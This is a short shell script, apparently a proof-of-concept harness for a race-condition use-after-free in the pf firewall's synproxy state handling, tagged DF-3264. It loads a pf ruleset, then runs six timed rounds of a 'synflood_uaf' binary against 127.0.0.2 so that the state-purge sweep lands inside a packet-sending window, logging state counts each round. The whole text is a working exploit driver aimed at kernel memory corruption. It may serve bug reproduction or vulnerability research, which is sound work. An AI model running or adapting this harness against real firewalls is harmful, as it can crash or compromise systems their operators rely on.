#!/bin/sh
# DF-3264: run the race for several rounds; each round: 512 synproxy states
# created at T0, expire at T0+120 (PFTM_TCP_FIRST_PACKET); retransmit flood
# from T0+117 for 12s. The purge thread's sweep at T0+120 must land inside a
# pf_send_tcp() ip_output token-drop window of one of the in-flight SYNs.
pfctl -f /root/poc/synproxy.conf
pfctl -e 2>/dev/null
i=0
while [ $i -lt 6 ]; do
	i=$((i+1))
	echo "===== RACE ROUND $i start $(date) ====="
	( /root/poc/synflood_uaf 127.0.0.2 $((8100 + i)) >> /tmp/flood.log 2>&1 & )
	# round duration: 117 sleep + 12 flood + margin
	sleep 136
	pkill synflood_uaf 2>/dev/null
	echo "===== RACE ROUND $i end   $(date) : states now: $(pfctl -si | grep 'current entries') ====="
done
echo "RACE-DONE $(date)"
